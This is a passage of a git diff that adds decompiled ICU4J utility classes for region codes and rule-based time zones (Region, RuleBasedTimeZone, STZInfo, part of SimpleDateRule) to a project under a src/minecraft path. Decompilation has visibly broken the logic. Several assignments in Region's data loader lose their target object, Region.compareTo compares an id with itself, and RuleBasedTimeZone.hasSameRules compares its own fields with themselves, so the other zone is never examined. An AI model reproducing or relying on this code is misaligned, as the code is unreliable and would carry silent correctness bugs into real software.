+  private Set<Region> containedRegions = new TreeSet();
+  private List<Region> preferredValues = null;
+  
+  private static boolean regionDataIsLoaded = false;
+  
+  private static Map<String, Region> regionIDMap = null;
+  private static Map<Integer, Region> numericCodeMap = null;
+  private static Map<String, Region> regionAliases = null;
+  
+  private static ArrayList<Region> regions = null;
+  private static ArrayList<Set<Region>> availableRegions = null;
+  
+
+
+
+  private static final String UNKNOWN_REGION_ID = "ZZ";
+  
+
+
+
+  private static final String OUTLYING_OCEANIA_REGION_ID = "QO";
+  
+
+
+
+  private static final String WORLD_ID = "001";
+  
+
+
+
+  private static synchronized void loadRegionData()
+  {
+    if (regionDataIsLoaded) {
+      return;
+    }
+    
+    regionAliases = new HashMap();
+    regionIDMap = new HashMap();
+    numericCodeMap = new HashMap();
+    
+    availableRegions = new ArrayList(RegionType.values().length);
+    
+
+    UResourceBundle regionCodes = null;
+    UResourceBundle territoryAlias = null;
+    UResourceBundle codeMappings = null;
+    UResourceBundle worldContainment = null;
+    UResourceBundle territoryContainment = null;
+    UResourceBundle groupingContainment = null;
+    
+    UResourceBundle rb = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "metadata", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+    regionCodes = rb.get("regionCodes");
+    territoryAlias = rb.get("territoryAlias");
+    
+    UResourceBundle rb2 = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "supplementalData", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+    codeMappings = rb2.get("codeMappings");
+    
+    territoryContainment = rb2.get("territoryContainment");
+    worldContainment = territoryContainment.get("001");
+    groupingContainment = territoryContainment.get("grouping");
+    
+    String[] continentsArr = worldContainment.getStringArray();
+    List<String> continents = Arrays.asList(continentsArr);
+    String[] groupingArr = groupingContainment.getStringArray();
+    List<String> groupings = Arrays.asList(groupingArr);
+    
+
+    int regionCodeSize = regionCodes.getSize();
+    regions = new ArrayList(regionCodeSize);
+    for (int i = 0; i < regionCodeSize; i++) {
+      Region r = new Region();
+      String id = regionCodes.getString(i);
+      id = id;
+      type = RegionType.TERRITORY;
+      regionIDMap.put(id, r);
+      if (id.matches("[0-9]{3}")) {
+        code = Integer.valueOf(id).intValue();
+        numericCodeMap.put(Integer.valueOf(code), r);
+        type = RegionType.SUBCONTINENT;
+      } else {
+        code = -1;
+      }
+      regions.add(r);
+    }
+    
+    Region r;
+    
+    for (int i = 0; i < territoryAlias.getSize(); i++) {
+      UResourceBundle res = territoryAlias.get(i);
+      String aliasFrom = res.getKey();
+      String aliasTo = res.getString();
+      
+      if ((regionIDMap.containsKey(aliasTo)) && (!regionIDMap.containsKey(aliasFrom))) {
+        regionAliases.put(aliasFrom, regionIDMap.get(aliasTo));
+      } else {
+        Region r;
+        if (regionIDMap.containsKey(aliasFrom)) {
+          r = (Region)regionIDMap.get(aliasFrom);
+        } else {
+          r = new Region();
+          id = aliasFrom;
+          regionIDMap.put(aliasFrom, r);
+          if (aliasFrom.matches("[0-9]{3}")) {
+            code = Integer.valueOf(aliasFrom).intValue();
+            numericCodeMap.put(Integer.valueOf(code), r);
+          } else {
+            code = -1;
+          }
+          regions.add(r);
+        }
+        type = RegionType.DEPRECATED;
+        List<String> aliasToRegionStrings = Arrays.asList(aliasTo.split(" "));
+        preferredValues = new ArrayList();
+        for (String s : aliasToRegionStrings) {
+          if (regionIDMap.containsKey(s)) {
+            preferredValues.add(regionIDMap.get(s));
+          }
+        }
+      }
+    }
+    
+
+    for (int i = 0; i < codeMappings.getSize(); i++) {
+      UResourceBundle mapping = codeMappings.get(i);
+      if (mapping.getType() == 8) {
+        String[] codeMappingStrings = mapping.getStringArray();
+        String codeMappingID = codeMappingStrings[0];
+        Integer codeMappingNumber = Integer.valueOf(codeMappingStrings[1]);
+        String codeMapping3Letter = codeMappingStrings[2];
+        
+        if (regionIDMap.containsKey(codeMappingID)) {
+          Region r = (Region)regionIDMap.get(codeMappingID);
+          code = codeMappingNumber.intValue();
+          numericCodeMap.put(Integer.valueOf(code), r);
+          regionAliases.put(codeMapping3Letter, r);
+        }
+      }
+    }
+    
+
+
+    if (regionIDMap.containsKey("001")) {
+      Region r = (Region)regionIDMap.get("001");
+      type = RegionType.WORLD;
+    }
+    
+    if (regionIDMap.containsKey("ZZ")) {
+      Region r = (Region)regionIDMap.get("ZZ");
+      type = RegionType.UNKNOWN;
+    }
+    
+    for (String continent : continents) {
+      if (regionIDMap.containsKey(continent)) {
+        Region r = (Region)regionIDMap.get(continent);
+        type = RegionType.CONTINENT;
+      }
+    }
+    
+    for (String grouping : groupings) {
+      if (regionIDMap.containsKey(grouping)) {
+        Region r = (Region)regionIDMap.get(grouping);
+        type = RegionType.GROUPING;
+      }
+    }
+    
+
+
+
+    if (regionIDMap.containsKey("QO")) {
+      Region r = (Region)regionIDMap.get("QO");
+      type = RegionType.SUBCONTINENT;
+    }
+    
+
+    for (int i = 0; i < territoryContainment.getSize(); i++) {
+      UResourceBundle mapping = territoryContainment.get(i);
+      String parent = mapping.getKey();
+      Region parentRegion = (Region)regionIDMap.get(parent);
+      
+      for (int j = 0; j < mapping.getSize(); j++) {
+        String child = mapping.getString(j);
+        Region childRegion = (Region)regionIDMap.get(child);
+        if ((parentRegion != null) && (childRegion != null))
+        {
+
+          containedRegions.add(childRegion);
+          
+
+
+
+          if (parentRegion.getType() != RegionType.GROUPING) {
+            containingRegion = parentRegion;
+          }
+        }
+      }
+    }
+    
+
+
+    for (int i = 0; i < RegionType.values().length; i++) {
+      availableRegions.add(new TreeSet());
+    }
+    
+    for (Region ar : regions) {
+      Set<Region> currentSet = (Set)availableRegions.get(type.ordinal());
+      currentSet.add(ar);
+      availableRegions.set(type.ordinal(), currentSet);
+    }
+    
+    regionDataIsLoaded = true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static Region getInstance(String id)
+  {
+    if (id == null) {
+      throw new NullPointerException();
+    }
+    
+    loadRegionData();
+    
+    Region r = (Region)regionIDMap.get(id);
+    
+    if (r == null) {
+      r = (Region)regionAliases.get(id);
+    }
+    
+    if (r == null) {
+      throw new IllegalArgumentException("Unknown region id: " + id);
+    }
+    
+    if ((type == RegionType.DEPRECATED) && (preferredValues.size() == 1)) {
+      r = (Region)preferredValues.get(0);
+    }
+    
+    return r;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static Region getInstance(int code)
+  {
+    loadRegionData();
+    
+    Region r = (Region)numericCodeMap.get(Integer.valueOf(code));
+    
+    if (r == null) {
+      String pad = "";
+      if (code < 10) {
+        pad = "00";
+      } else if (code < 100) {
+        pad = "0";
+      }
+      String id = pad + Integer.toString(code);
+      r = (Region)regionAliases.get(id);
+    }
+    
+    if (r == null) {
+      throw new IllegalArgumentException("Unknown region code: " + code);
+    }
+    
+    if ((type == RegionType.DEPRECATED) && (preferredValues.size() == 1)) {
+      r = (Region)preferredValues.get(0);
+    }
+    
+    return r;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static Set<Region> getAvailable(RegionType type)
+  {
+    loadRegionData();
+    return Collections.unmodifiableSet((Set)availableRegions.get(type.ordinal()));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Region getContainingRegion()
+  {
+    loadRegionData();
+    return containingRegion;
+  }
+  
+
+
+
+
+  public Region getContainingRegion(RegionType type)
+  {
+    
+    
+
+
+
+    if (containingRegion == null) {
+      return null;
+    }
+    if (containingRegion.type.equals(type)) {
+      return containingRegion;
+    }
+    return containingRegion.getContainingRegion(type);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Set<Region> getContainedRegions()
+  {
+    loadRegionData();
+    return Collections.unmodifiableSet(containedRegions);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Set<Region> getContainedRegions(RegionType type)
+  {
+    loadRegionData();
+    
+    Set<Region> result = new TreeSet();
+    Set<Region> cr = getContainedRegions();
+    
+    for (Region r : cr) {
+      if (r.getType() == type) {
+        result.add(r);
+      } else {
+        result.addAll(r.getContainedRegions(type));
+      }
+    }
+    return Collections.unmodifiableSet(result);
+  }
+  
+
+
+
+
+
+  public List<Region> getPreferredValues()
+  {
+    
+    
+
+
+
+    if (type == RegionType.DEPRECATED) {
+      return Collections.unmodifiableList(preferredValues);
+    }
+    return null;
+  }
+  
+
+
+
+
+  public boolean contains(Region other)
+  {
+    
+    
+
+
+
+    if (containedRegions.contains(other)) {
+      return true;
+    }
+    for (Region cr : containedRegions) {
+      if (cr.contains(other)) {
+        return true;
+      }
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public String toString()
+  {
+    return id;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int getNumericCode()
+  {
+    return code;
+  }
+  
+
+
+
+
+
+
+
+  public RegionType getType()
+  {
+    return type;
+  }
+  
+
+
+
+
+  public int compareTo(Region other)
+  {
+    return id.compareTo(id);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/RuleBasedTimeZone.java b/src/minecraft/com/ibm/icu/util/RuleBasedTimeZone.java
new file mode 100644
index 0000000..f832731
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/RuleBasedTimeZone.java
@@ -0,0 +1,797 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.Grego;
+import java.util.ArrayList;
+import java.util.BitSet;
+import java.util.Date;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RuleBasedTimeZone
+  extends BasicTimeZone
+{
+  private static final long serialVersionUID = 7580833058949327935L;
+  private final InitialTimeZoneRule initialRule;
+  private List<TimeZoneRule> historicRules;
+  private AnnualTimeZoneRule[] finalRules;
+  private transient List<TimeZoneTransition> historicTransitions;
+  private transient boolean upToDate;
+  
+  public RuleBasedTimeZone(String id, InitialTimeZoneRule initialRule)
+  {
+    super(id);
+    this.initialRule = initialRule;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void addTransitionRule(TimeZoneRule rule)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen RuleBasedTimeZone instance.");
+    }
+    if (!rule.isTransitionRule()) {
+      throw new IllegalArgumentException("Rule must be a transition rule");
+    }
+    if (((rule instanceof AnnualTimeZoneRule)) && (((AnnualTimeZoneRule)rule).getEndYear() == Integer.MAX_VALUE))
+    {
+
+      if (finalRules == null) {
+        finalRules = new AnnualTimeZoneRule[2];
+        finalRules[0] = ((AnnualTimeZoneRule)rule);
+      } else if (finalRules[1] == null) {
+        finalRules[1] = ((AnnualTimeZoneRule)rule);
+      }
+      else {
+        throw new IllegalStateException("Too many final rules");
+      }
+    }
+    else {
+      if (historicRules == null) {
+        historicRules = new ArrayList();
+      }
+      historicRules.add(rule);
+    }
+    
+
+    upToDate = false;
+  }
+  
+
+
+
+
+
+
+  public int getOffset(int era, int year, int month, int day, int dayOfWeek, int milliseconds)
+  {
+    if (era == 0)
+    {
+      year = 1 - year;
+    }
+    long time = Grego.fieldsToDay(year, month, day) * 86400000L + milliseconds;
+    int[] offsets = new int[2];
+    getOffset(time, true, 3, 1, offsets);
+    return offsets[0] + offsets[1];
+  }
+  
+
+
+
+
+
+  public void getOffset(long time, boolean local, int[] offsets)
+  {
+    getOffset(time, local, 4, 12, offsets);
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public void getOffsetFromLocal(long date, int nonExistingTimeOpt, int duplicatedTimeOpt, int[] offsets)
+  {
+    getOffset(date, true, nonExistingTimeOpt, duplicatedTimeOpt, offsets);
+  }
+  
+
+
+
+
+
+
+
+  public int getRawOffset()
+  {
+    long now = System.currentTimeMillis();
+    int[] offsets = new int[2];
+    getOffset(now, false, offsets);
+    return offsets[0];
+  }
+  
+
+
+
+
+
+  public boolean inDaylightTime(Date date)
+  {
+    int[] offsets = new int[2];
+    getOffset(date.getTime(), false, offsets);
+    return offsets[1] != 0;
+  }
+  
+
+
+
+
+
+
+
+  public void setRawOffset(int offsetMillis)
+  {
+    throw new UnsupportedOperationException("setRawOffset in RuleBasedTimeZone is not supported.");
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean useDaylightTime()
+  {
+    long now = System.currentTimeMillis();
+    int[] offsets = new int[2];
+    getOffset(now, false, offsets);
+    if (offsets[1] != 0) {
+      return true;
+    }
+    
+    TimeZoneTransition tt = getNextTransition(now, false);
+    if ((tt != null) && (tt.getTo().getDSTSavings() != 0)) {
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+  public boolean observesDaylightTime()
+  {
+    long time = System.currentTimeMillis();
+    
+
+    int[] offsets = new int[2];
+    getOffset(time, false, offsets);
+    if (offsets[1] != 0) {
+      return true;
+    }
+    
+
+    BitSet checkFinals = finalRules == null ? null : new BitSet(finalRules.length);
+    for (;;) {
+      TimeZoneTransition tt = getNextTransition(time, false);
+      if (tt == null) {
+        break;
+      }
+      
+      TimeZoneRule toRule = tt.getTo();
+      if (toRule.getDSTSavings() != 0) {
+        return true;
+      }
+      if (checkFinals != null)
+      {
+        for (int i = 0; i < finalRules.length; i++) {
+          if (finalRules[i].equals(toRule)) {
+            checkFinals.set(i);
+          }
+        }
+        if (checkFinals.cardinality() == finalRules.length) {
+          break;
+        }
+      }
+      
+      time = tt.getTime();
+    }
+    return false;
+  }
+  
+
+
+
+
+
+  public boolean hasSameRules(TimeZone other)
+  {
+    if (this == other) {
+      return true;
+    }
+    
+    if (!(other instanceof RuleBasedTimeZone))
+    {
+      return false;
+    }
+    RuleBasedTimeZone otherRBTZ = (RuleBasedTimeZone)other;
+    
+
+    if (!initialRule.isEquivalentTo(initialRule)) {
+      return false;
+    }
+    
+
+    if ((finalRules != null) && (finalRules != null)) {
+      for (int i = 0; i < finalRules.length; i++) {
+        if ((finalRules[i] != null) || (finalRules[i] != null))
+        {
+
+          if ((finalRules[i] == null) || (finalRules[i] == null) || (!finalRules[i].isEquivalentTo(finalRules[i])))
+          {
+
+
+
+            return false; } }
+      }
+    } else if ((finalRules != null) || (finalRules != null)) {
+      return false;
+    }
+    
+
+    if ((historicRules != null) && (historicRules != null)) {
+      if (historicRules.size() != historicRules.size()) {
+        return false;
+      }
+      for (TimeZoneRule rule : historicRules) {
+        boolean foundSameRule = false;
+        for (TimeZoneRule orule : historicRules) {
+          if (rule.isEquivalentTo(orule)) {
+            foundSameRule = true;
+            break;
+          }
+        }
+        if (!foundSameRule) {
+          return false;
+        }
+      }
+    } else if ((historicRules != null) || (historicRules != null)) {
+      return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public TimeZoneRule[] getTimeZoneRules()
+  {
+    int size = 1;
+    if (historicRules != null) {
+      size += historicRules.size();
+    }
+    
+    if (finalRules != null) {
+      if (finalRules[1] != null) {
+        size += 2;
+      } else {
+        size++;
+      }
+    }
+    TimeZoneRule[] rules = new TimeZoneRule[size];
+    rules[0] = initialRule;
+    
+    int idx = 1;
+    if (historicRules != null) {
+      for (; idx < historicRules.size() + 1; idx++) {
+        rules[idx] = ((TimeZoneRule)historicRules.get(idx - 1));
+      }
+    }
+    if (finalRules != null) {
+      rules[(idx++)] = finalRules[0];
+      if (finalRules[1] != null) {
+        rules[idx] = finalRules[1];
+      }
+    }
+    return rules;
+  }
+  
+
+
+
+
+
+  public TimeZoneTransition getNextTransition(long base, boolean inclusive)
+  {
+    complete();
+    if (historicTransitions == null) {
+      return null;
+    }
+    boolean isFinal = false;
+    TimeZoneTransition result = null;
+    TimeZoneTransition tzt = (TimeZoneTransition)historicTransitions.get(0);
+    long tt = tzt.getTime();
+    if ((tt > base) || ((inclusive) && (tt == base))) {
+      result = tzt;
+    } else {
+      int idx = historicTransitions.size() - 1;
+      tzt = (TimeZoneTransition)historicTransitions.get(idx);
+      tt = tzt.getTime();
+      if ((inclusive) && (tt == base)) {
+        result = tzt;
+      } else if (tt <= base) {
+        if (finalRules != null)
+        {
+          Date start0 = finalRules[0].getNextStart(base, finalRules[1].getRawOffset(), finalRules[1].getDSTSavings(), inclusive);
+          
+          Date start1 = finalRules[1].getNextStart(base, finalRules[0].getRawOffset(), finalRules[0].getDSTSavings(), inclusive);
+          
+
+          if (start1.after(start0)) {
+            tzt = new TimeZoneTransition(start0.getTime(), finalRules[1], finalRules[0]);
+          } else {
+            tzt = new TimeZoneTransition(start1.getTime(), finalRules[0], finalRules[1]);
+          }
+          result = tzt;
+          isFinal = true;
+        } else {
+          return null;
+        }
+      }
+      else {
+        idx--;
+        TimeZoneTransition prev = tzt;
+        while (idx > 0) {
+          tzt = (TimeZoneTransition)historicTransitions.get(idx);
+          tt = tzt.getTime();
+          if ((tt < base) || ((!inclusive) && (tt == base))) {
+            break;
+          }
+          idx--;
+          prev = tzt;
+        }
+        result = prev;
+      }
+    }
+    if (result != null)
+    {
+      TimeZoneRule from = result.getFrom();
+      TimeZoneRule to = result.getTo();
+      if ((from.getRawOffset() == to.getRawOffset()) && (from.getDSTSavings() == to.getDSTSavings()))
+      {
+
+        if (isFinal) {
+          return null;
+        }
+        result = getNextTransition(result.getTime(), false);
+      }
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+  public TimeZoneTransition getPreviousTransition(long base, boolean inclusive)
+  {
+    complete();
+    if (historicTransitions == null) {
+      return null;
+    }
+    TimeZoneTransition result = null;
+    TimeZoneTransition tzt = (TimeZoneTransition)historicTransitions.get(0);
+    long tt = tzt.getTime();
+    if ((inclusive) && (tt == base)) {
+      result = tzt;
+    } else { if (tt >= base) {
+        return null;
+      }
+      int idx = historicTransitions.size() - 1;
+      tzt = (TimeZoneTransition)historicTransitions.get(idx);
+      tt = tzt.getTime();
+      if ((inclusive) && (tt == base)) {
+        result = tzt;
+      } else if (tt < base) {
+        if (finalRules != null)
+        {
+          Date start0 = finalRules[0].getPreviousStart(base, finalRules[1].getRawOffset(), finalRules[1].getDSTSavings(), inclusive);
+          
+          Date start1 = finalRules[1].getPreviousStart(base, finalRules[0].getRawOffset(), finalRules[0].getDSTSavings(), inclusive);
+          
+
+          if (start1.before(start0)) {
+            tzt = new TimeZoneTransition(start0.getTime(), finalRules[1], finalRules[0]);
+          } else {
+            tzt = new TimeZoneTransition(start1.getTime(), finalRules[0], finalRules[1]);
+          }
+        }
+        result = tzt;
+      }
+      else {
+        idx--;
+        while (idx >= 0) {
+          tzt = (TimeZoneTransition)historicTransitions.get(idx);
+          tt = tzt.getTime();
+          if ((tt < base) || ((inclusive) && (tt == base))) {
+            break;
+          }
+          idx--;
+        }
+        result = tzt;
+      }
+    }
+    if (result != null)
+    {
+      TimeZoneRule from = result.getFrom();
+      TimeZoneRule to = result.getTo();
+      if ((from.getRawOffset() == to.getRawOffset()) && (from.getDSTSavings() == to.getDSTSavings()))
+      {
+
+        result = getPreviousTransition(result.getTime(), false);
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+  public Object clone()
+  {
+    if (isFrozen()) {
+      return this;
+    }
+    return cloneAsThawed();
+  }
+  
+
+
+
+
+
+  private void complete()
+  {
+    if (upToDate)
+    {
+      return;
+    }
+    
+
+
+    if ((finalRules != null) && (finalRules[1] == null)) {
+      throw new IllegalStateException("Incomplete final rules");
+    }
+    
+
+    if ((historicRules != null) || (finalRules != null)) {
+      TimeZoneRule curRule = initialRule;
+      long lastTransitionTime = -184303902528000000L;
+      
+
+
+      if (historicRules != null) {
+        BitSet done = new BitSet(historicRules.size());
+        for (;;)
+        {
+          int curStdOffset = curRule.getRawOffset();
+          int curDstSavings = curRule.getDSTSavings();
+          long nextTransitionTime = 183882168921600000L;
+          TimeZoneRule nextRule = null;
+          
+
+
+          for (int i = 0; i < historicRules.size(); i++) {
+            if (!done.get(i))
+            {
+
+              TimeZoneRule r = (TimeZoneRule)historicRules.get(i);
+              Date d = r.getNextStart(lastTransitionTime, curStdOffset, curDstSavings, false);
+              if (d == null)
+              {
+                done.set(i);
+              }
+              else if ((r != curRule) && ((!r.getName().equals(curRule.getName())) || (r.getRawOffset() != curRule.getRawOffset()) || (r.getDSTSavings() != curRule.getDSTSavings())))
+              {
+
+
+
+
+                long tt = d.getTime();
+                if (tt < nextTransitionTime) {
+                  nextTransitionTime = tt;
+                  nextRule = r;
+                }
+              }
+            }
+          }
+          if (nextRule == null)
+          {
+            boolean bDoneAll = true;
+            for (int j = 0; j < historicRules.size(); j++) {
+              if (!done.get(j)) {
+                bDoneAll = false;
+                break;
+              }
+            }
+            if (bDoneAll) {
+              break;
+            }
+          }
+          
+          if (finalRules != null)
+          {
+            for (int i = 0; i < 2; i++) {
+              if (finalRules[i] != curRule)
+              {
+
+                Date d = finalRules[i].getNextStart(lastTransitionTime, curStdOffset, curDstSavings, false);
+                if (d != null) {
+                  long tt = d.getTime();
+                  if (tt < nextTransitionTime) {
+                    nextTransitionTime = tt;
+                    nextRule = finalRules[i];
+                  }
+                }
+              }
+            }
+          }
+          if (nextRule == null) {
+            break;
+          }
+          
+
+          if (historicTransitions == null) {
+            historicTransitions = new ArrayList();
+          }
+          historicTransitions.add(new TimeZoneTransition(nextTransitionTime, curRule, nextRule));
+          lastTransitionTime = nextTransitionTime;
+          curRule = nextRule;
+        }
+      }
+      if (finalRules != null) {
+        if (historicTransitions == null) {
+          historicTransitions = new ArrayList();
+        }
+        
+        Date d0 = finalRules[0].getNextStart(lastTransitionTime, curRule.getRawOffset(), curRule.getDSTSavings(), false);
+        Date d1 = finalRules[1].getNextStart(lastTransitionTime, curRule.getRawOffset(), curRule.getDSTSavings(), false);
+        if (d1.after(d0)) {
+          historicTransitions.add(new TimeZoneTransition(d0.getTime(), curRule, finalRules[0]));
+          d1 = finalRules[1].getNextStart(d0.getTime(), finalRules[0].getRawOffset(), finalRules[0].getDSTSavings(), false);
+          historicTransitions.add(new TimeZoneTransition(d1.getTime(), finalRules[0], finalRules[1]));
+        } else {
+          historicTransitions.add(new TimeZoneTransition(d1.getTime(), curRule, finalRules[1]));
+          d0 = finalRules[0].getNextStart(d1.getTime(), finalRules[1].getRawOffset(), finalRules[1].getDSTSavings(), false);
+          historicTransitions.add(new TimeZoneTransition(d0.getTime(), finalRules[1], finalRules[0]));
+        }
+      }
+    }
+    upToDate = true;
+  }
+  
+
+
+  private void getOffset(long time, boolean local, int NonExistingTimeOpt, int DuplicatedTimeOpt, int[] offsets)
+  {
+    complete();
+    TimeZoneRule rule = null;
+    if (historicTransitions == null) {
+      rule = initialRule;
+    } else {
+      long tstart = getTransitionTime((TimeZoneTransition)historicTransitions.get(0), local, NonExistingTimeOpt, DuplicatedTimeOpt);
+      
+      if (time < tstart) {
+        rule = initialRule;
+      } else {
+        int idx = historicTransitions.size() - 1;
+        long tend = getTransitionTime((TimeZoneTransition)historicTransitions.get(idx), local, NonExistingTimeOpt, DuplicatedTimeOpt);
+        
+        if (time > tend) {
+          if (finalRules != null) {
+            rule = findRuleInFinal(time, local, NonExistingTimeOpt, DuplicatedTimeOpt);
+          }
+          if (rule == null)
+          {
+
+            rule = ((TimeZoneTransition)historicTransitions.get(idx)).getTo();
+          }
+        }
+        else {
+          while ((idx >= 0) && 
+            (time < getTransitionTime((TimeZoneTransition)historicTransitions.get(idx), local, NonExistingTimeOpt, DuplicatedTimeOpt)))
+          {
+
+
+            idx--;
+          }
+          rule = ((TimeZoneTransition)historicTransitions.get(idx)).getTo();
+        }
+      }
+    }
+    offsets[0] = rule.getRawOffset();
+    offsets[1] = rule.getDSTSavings();
+  }
+  
+
+
+  private TimeZoneRule findRuleInFinal(long time, boolean local, int NonExistingTimeOpt, int DuplicatedTimeOpt)
+  {
+    if ((finalRules == null) || (finalRules.length != 2) || (finalRules[0] == null) || (finalRules[1] == null)) {
+      return null;
+    }
+    
+
+
+
+
+    long base = time;
+    if (local) {
+      int localDelta = getLocalDelta(finalRules[1].getRawOffset(), finalRules[1].getDSTSavings(), finalRules[0].getRawOffset(), finalRules[0].getDSTSavings(), NonExistingTimeOpt, DuplicatedTimeOpt);
+      
+
+      base -= localDelta;
+    }
+    Date start0 = finalRules[0].getPreviousStart(base, finalRules[1].getRawOffset(), finalRules[1].getDSTSavings(), true);
+    
+    base = time;
+    if (local) {
+      int localDelta = getLocalDelta(finalRules[0].getRawOffset(), finalRules[0].getDSTSavings(), finalRules[1].getRawOffset(), finalRules[1].getDSTSavings(), NonExistingTimeOpt, DuplicatedTimeOpt);
+      
+
+      base -= localDelta;
+    }
+    Date start1 = finalRules[1].getPreviousStart(base, finalRules[0].getRawOffset(), finalRules[0].getDSTSavings(), true);
+    
+    if ((start0 == null) || (start1 == null)) {
+      if (start0 != null)
+        return finalRules[0];
+      if (start1 != null) {
+        return finalRules[1];
+      }
+      
+      return null;
+    }
+    
+    return start0.after(start1) ? finalRules[0] : finalRules[1];
+  }
+  
+
+
+
+  private static long getTransitionTime(TimeZoneTransition tzt, boolean local, int NonExistingTimeOpt, int DuplicatedTimeOpt)
+  {
+    long time = tzt.getTime();
+    if (local) {
+      time += getLocalDelta(tzt.getFrom().getRawOffset(), tzt.getFrom().getDSTSavings(), tzt.getTo().getRawOffset(), tzt.getTo().getDSTSavings(), NonExistingTimeOpt, DuplicatedTimeOpt);
+    }
+    
+
+    return time;
+  }
+  
+
+
+
+  private static int getLocalDelta(int rawBefore, int dstBefore, int rawAfter, int dstAfter, int NonExistingTimeOpt, int DuplicatedTimeOpt)
+  {
+    int delta = 0;
+    
+    int offsetBefore = rawBefore + dstBefore;
+    int offsetAfter = rawAfter + dstAfter;
+    
+    boolean dstToStd = (dstBefore != 0) && (dstAfter == 0);
+    boolean stdToDst = (dstBefore == 0) && (dstAfter != 0);
+    
+    if (offsetAfter - offsetBefore >= 0)
+    {
+      if ((((NonExistingTimeOpt & 0x3) == 1) && (dstToStd)) || (((NonExistingTimeOpt & 0x3) == 3) && (stdToDst)))
+      {
+        delta = offsetBefore;
+      } else if ((((NonExistingTimeOpt & 0x3) == 1) && (stdToDst)) || (((NonExistingTimeOpt & 0x3) == 3) && (dstToStd)))
+      {
+        delta = offsetAfter;
+      } else if ((NonExistingTimeOpt & 0xC) == 12) {
+        delta = offsetBefore;
+      }
+      else
+      {
+        delta = offsetAfter;
+      }
+      
+    }
+    else if ((((DuplicatedTimeOpt & 0x3) == 1) && (dstToStd)) || (((DuplicatedTimeOpt & 0x3) == 3) && (stdToDst)))
+    {
+      delta = offsetAfter;
+    } else if ((((DuplicatedTimeOpt & 0x3) == 1) && (stdToDst)) || (((DuplicatedTimeOpt & 0x3) == 3) && (dstToStd)))
+    {
+      delta = offsetBefore;
+    } else if ((DuplicatedTimeOpt & 0xC) == 4) {
+      delta = offsetBefore;
+    }
+    else
+    {
+      delta = offsetAfter;
+    }
+    
+    return delta;
+  }
+  
+
+  private transient boolean isFrozen = false;
+  
+
+
+
+  public boolean isFrozen()
+  {
+    return isFrozen;
+  }
+  
+
+
+
+  public TimeZone freeze()
+  {
+    complete();
+    isFrozen = true;
+    return this;
+  }
+  
+
+
+
+  public TimeZone cloneAsThawed()
+  {
+    RuleBasedTimeZone tz = (RuleBasedTimeZone)super.cloneAsThawed();
+    if (historicRules != null) {
+      historicRules = new ArrayList(historicRules);
+    }
+    if (finalRules != null) {
+      finalRules = ((AnnualTimeZoneRule[])finalRules.clone());
+    }
+    isFrozen = false;
+    return tz;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/STZInfo.java b/src/minecraft/com/ibm/icu/util/STZInfo.java
new file mode 100644
index 0000000..f5f336e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/STZInfo.java
@@ -0,0 +1,88 @@
+package com.ibm.icu.util;
+
+import java.io.Serializable;
+
+final class STZInfo
+  implements Serializable
+{
+  private static final long serialVersionUID = -7849612037842370168L;
+  
+  STZInfo() {}
+  
+  void setStart(int sm, int sdwm, int sdw, int st, int sdm, boolean sa)
+  {
+    this.sm = sm;
+    this.sdwm = sdwm;
+    this.sdw = sdw;
+    this.st = st;
+    this.sdm = sdm;
+    this.sa = sa;
+  }
+  
+  void setEnd(int em, int edwm, int edw, int et, int edm, boolean ea) {
+    this.em = em;
+    this.edwm = edwm;
+    this.edw = edw;
+    this.et = et;
+    this.edm = edm;
+    this.ea = ea;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  void applyTo(SimpleTimeZone stz)
+  {
+    if (sy != -1) {
+      stz.setStartYear(sy);
+    }
+    if (sm != -1) {
+      if (sdm == -1) {
+        stz.setStartRule(sm, sdwm, sdw, st);
+      } else if (sdw == -1) {
+        stz.setStartRule(sm, sdm, st);
+      } else {
+        stz.setStartRule(sm, sdm, sdw, st, sa);
+      }
+    }
+    if (em != -1) {
+      if (edm == -1) {
+        stz.setEndRule(em, edwm, edw, et);
+      } else if (edw == -1) {
+        stz.setEndRule(em, edm, et);
+      } else {
+        stz.setEndRule(em, edm, edw, et, ea);
+      }
+    }
+  }
+  
+  int sy = -1;
+  int sm = -1;
+  int sdwm;
+  int sdw; int st; int sdm; boolean sa; int em = -1;
+  int edwm;
+  int edw;
+  int et;
+  int edm;
+  boolean ea;
+}
diff --git a/src/minecraft/com/ibm/icu/util/SimpleDateRule.java b/src/minecraft/com/ibm/icu/util/SimpleDateRule.java
new file mode 100644
index 0000000..4a99065
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/SimpleDateRule.java
@@ -0,0 +1,228 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SimpleDateRule
+  implements DateRule
+{
+  public SimpleDateRule(int month, int dayOfMonth)
+  {
+    this.month = month;
+    this.dayOfMonth = dayOfMonth;
+    dayOfWeek = 0;
+  }
+  
+
+  SimpleDateRule(int month, int dayOfMonth, Calendar cal)
+  {
